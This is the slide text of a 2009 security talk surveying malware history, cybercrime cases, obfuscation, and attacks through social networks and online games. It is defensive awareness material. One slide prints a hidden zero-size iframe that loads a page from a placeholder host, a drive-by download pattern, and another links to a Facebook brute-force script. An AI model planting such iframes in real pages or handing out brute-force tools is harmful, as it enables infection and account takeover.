The Malware Threat Landscape in the Real and Virtual World

South East Regional JANET User Group meeting
Wednesday 18 February 2009, London

David Phillips BSc., MBCS
Faculty of Mathematics, Computing and Technology
Member Of AVIEN & The Wildlist
Agenda

• The old landscape
• The new landscape
• Attack vectors
• The Virtual World
• The future
• Questions
Changing Landscape

• First Viruses / Malware
  – Early 1970’s ARPARNET
  – 1982 Elk Cloner
  – 1986 Brain
  – 1995 Concept
  – 1999 Melissa
  – 2001 Code Red and Sircam
  – 2003 Slammer
  – 2004 MyDoom
  – 2006 Nyxem
  – 2007 Storm
  – 2008 Conflickr
  – 2009 OSX.Trojan.iServices.B
What has changed?

• Brain - Early DRM
• Upset with girl-friend - Holland Girl
• Upset with AV person
• My virus is better than yours
  –Netsky, Beagle and MyDoom
  –Storm (Small Dam) vs Warezov
What has changed?

• Brain - Early DRM
• Upset with girl-friend - Holland Girl
• Upset with AV person
• My virus is better than yours
  –Netsky, Beagle and MyDoom
  –Storm (Small Dam) vs Warezov
New Landscape

• Mafia (all over the world)
• Payment for code
• Free code
• RBN (Bad guys ISP)
New Landscape

- Mafia (all over the world)
  - Organised Crime
    - Russian Mafia - Identity Theft
  - Brazilian Mafia - Phishing - Bank Accounts
  - Chinese Mafia - Gaming / Avatars / User Identity
Malware types in daily updates

Source: Kaspersky labs

Wednesday, 18 February 2009
Cybercrime takes control

- Russian hackers, with the aid of Swedish middle-men, steal €800,000 from Swedish bank Nordea (January 2007)
- Brazilian police arrest 41 hackers for using a Trojan to steal bank account details used to make $4.74 million (February 2007)
- 17 members of Internet fraud gang arrested in Turkey for stealing up to $500,000 (February 2007)
- Li Jun, arrested for 'Panda burning Incense' virus used to steal gaming and IM account names, thought to have made around $13,000 by selling the malware (February 2007)
- Five eastern Europeans imprisoned in the UK for credit card fraud: they stole an estimated £1.7 million (March 2007)
- Russian cyber thieves allegedly use a Trojan to steal $500,000 from Turkish banks (July 2007)
ID theft for high stakes

- Ukrainian Maxim Yastremsky [aka 'Maksik] detained in Turkey for allegedly making tens of millions of dollars from ID theft (August 2007)
- Gregory Kopiloff charged in the US for allegedly using P2P file-sharing software Limewire and Soulseek to gather information used in ID fraud, allegedly making thousands of dollars in purchases using stolen information (September 2007)
- James E Schaffer and Jeffery A Kilbride were each sentenced to 5yrs and fined $100,000 for sending innocent users sexually explicit images. It is reported they netted $2 million while doing this. (October 2007)
- Three people have pleaded guilty to charges related to spam e-mail that promised U.S. victims millions of dollars from an estate and a lottery. (January 2008)
Exploits - Zero Day

- Cybercriminals are actively exploiting a critical vulnerability in Internet Explorer 7, which arises from the browser’s improper handling of errors when attempting to access deleted objects. This vulnerability allows remote attackers to execute arbitrary codes on a vulnerable machine.
  (17 Feb 2008 - http://blog.trendmicro.com/another-exploit-targets-ie7-bug/)

- Microsoft today shipped four bulletins with patches for at least 8 documented security vulnerabilities affecting Windows users and warned that “consistent exploit code could be easily crafted” to launch attacks via the Internet Explorer browser.
Open Source Malware

- Shared resources
- Agobot / Sdbot released under the GPL
- Open Source code muddies the waters
  - Malware writers
  - Script-Kiddies
- Published code
Open Source Malware

- Shared resources
- Agobot / Sdbot released under the GPL
- Open Source code muddies the waters
  – Malware writers
  – Script-Kiddies
- Published code
Code obfuscation

- Variably encrypted code
  - i.e. it changes with each infection
- Body polymorphic
  - Code inserted throughout in the host file
  - Single continuous code sequence
  - Polymorphic even in memory
- Entry-point obfuscation
  - Obscured decryption & execution path
- Multiple layers of encryption
- Server-side polymorphism
Attack methods - Now

- Spam mailing
  - Instead of self-replication
- Trojans
- Exploits
  - ‘Drive-by downloads’
  - Zero Day!
- Phishing attacks
- Social engineering
- Social Networking Sites
Facebook - Myspace - Twitter

- Brute force exploits - code available - Feb 2009
  Download Facebook php bruteforce script: xxx://darkc0de.com/c0de/php/face_book_brute_forcer.txt

- Exploitation of the Facebook ImageUploader Vulnerability 02-20-2008 12:00 AM
  So far, the exploits that have shown up are encoded versions of the public exploit, bundled with an exploit for Yahoo Jukebox and several other routinely exploitable vulnerabilities.

- Twitter fended off a second clickjacking attack on Thursday night as the popular microblogging site plays cat-and-mouse with a prankster, the site confirmed on Friday
  (CNET news 13 Feb 2009)
Attack methods - Now

- Spam mailing
  - Instead of self-replication
- Trojans
- Exploits
  - ‘Drive-by downloads’
  - Zero Day!
- Phishing attacks
- Social engineering
- Social Networking Sites
- Virtual World
MMORPG and Malware
MMORPG and Malware

Massively Multiplayer Online Role-Playing Games

- World of WarCraft
- Asheron’s Call
- Everquest
- Lineage
- Dungeons & Dragons - Online
- Second life
Some gaming statistics

• *World of Warcraft* started in 2004
• Korean developed game *Lineage* - Estimated 3 million unique users in 2004
• In 2008 report by WoW 8.5 Million users
• Average user estimated to spend 20 hours a week on gameplay
http://mmogdata.voig.com/
On-Line Gaming Malware

11 Feb 2009  **Win32/Wowpa Family**
Also known as: PWS:Win32/Wowsteal (MS OneCare), Mal/WOWPWS (Sophos), Infostealer.Wowcraft (Symantec), Trojan-GameThief.Win32.WOW (Kaspersky)

09 Jan 2009  **Win32/Dowque.ATQ**
Also known as: DDoS-Huai (McAfee), W32.Versie.A (Symantec), Trojan-GameThief.Win32.OnLineGames.dnc (Kaspersky)
What issues effect YOUR network

- Gamers look for the fastest network
- Gamers using university / work networks tie-up bandwidth
- Gamers can compromise whole networks
- Gamers turn of security protect to play games
Grey-goo

Grey goo is a hypothetical end-of-the-world scenario involving molecular nanotechnology in which out-of-control self-replicating robots consume all living matter on Earth while building more of themselves (a scenario known as ecophagy).

Methodology used

• Social Engineering
  – Game updates
  – Game add-ons
  – Hacks
  – Cheats
  – Trainers
SecondLife - Linton labs

- Virtual World - not a game
- Being used in Education
- Being used in the corporate environment
- Client focused software
- Uses own scripting language
- Users buy and sell virtual buildings and objects
- Malware target?
Remove the removers

- Anti-anti-virus
  - Stop running AV processes
  - Delete AV code
  - Block AV updates
  - Lock files to prevent scan
  - Suppress system messages
    - Or auto-click ‘OK’
  - Include code to sabotage sandbox analysis
The Future

• Industry is worth $$$$
• Bad-Guys have an interest in money making activities
• It is going to grow
• Site IT security teams need to be aware and what to look for.
• Block on-line games from campus / work?
• How to handle educational 3D environments!
My crystal ball

- Continuation of current trends
- Automatic generation of malware
- Server-side polymorphism
  - Morphing algorithm not present in the body
  - & so can not be reversed
- More compression and encryption to hide malicious code
- Continued use of exploits
  - Social Engineering
  - Code bugs
- Ever increasing numbers
- Attack vectors
Attack Vectors

• Drive-by websites
  – using Iframe exploits
    • `<iframe src="http://www.igotyou.com/down.htm" width="0" height="0" frameborder="0"> </iframe>`

• USB / Mobile devices
  – the new floppy disk

• Social Networking
Questions?

Resources

Sophos UK - Security Report 2009
Kaspersky Labs UK website
Trend Micro
David Emm, Kaspersky.co.uk, Run Silent Run Deep (January 2008)
Martin Overton, IBM, The Journey, so far (Virus Bulletin, Vienna 2007)
Bruce Schneier - Reflects on a Decade of Security Trends (January 2008)
T187 Vandalism in Cyberspace (The Open University)
ESET - Global Threat Trends 2009